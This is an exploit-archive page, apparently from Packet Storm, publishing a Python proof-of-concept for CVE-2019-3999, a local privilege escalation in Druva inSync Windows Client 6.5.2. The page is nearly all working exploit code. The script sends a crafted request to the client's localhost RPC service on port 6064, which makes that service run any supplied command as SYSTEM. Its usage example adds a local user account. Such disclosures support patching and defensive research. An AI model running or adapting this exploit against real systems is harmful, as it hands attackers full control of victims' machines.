what you don't know can hurt you

Druva inSync Windows Client 6.5.2 Privilege Escalation

Druva inSync Windows Client 6.5.2 Privilege Escalation
Posted Apr 29, 2020
Authored by Chris Lyne

Druva inSync Windows Client version 6.5.2 suffers from a local privilege escalation vulnerability.

tags | exploit, local
systems | windows
advisories | CVE-2019-3999
MD5 | 8f9e26da527f8060a8ddce66165678c8

Druva inSync Windows Client 6.5.2 Privilege Escalation

Change Mirror Download
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Date: 2020-04-28
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12

import socket
import struct
import sys

# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation

if len(sys.argv) < 2:
print "Usage: " + __file__ + " <quoted command to execute>"
print "E.g. " + __file__ + " \"net user /add tenable\""
sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]

# command gets passed to CreateProcessW
def make_wide(str):
new_str = ''
for c in str:
new_str += c
new_str += '\x00'
return new_str

hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00" # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))

# send each request separately
requests = [ hello, func_num, command_length, command_line ]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
print 'Sending request' + str(i)
sock.send(req)
i += 1

sock.close()

print "Done."
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    26 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close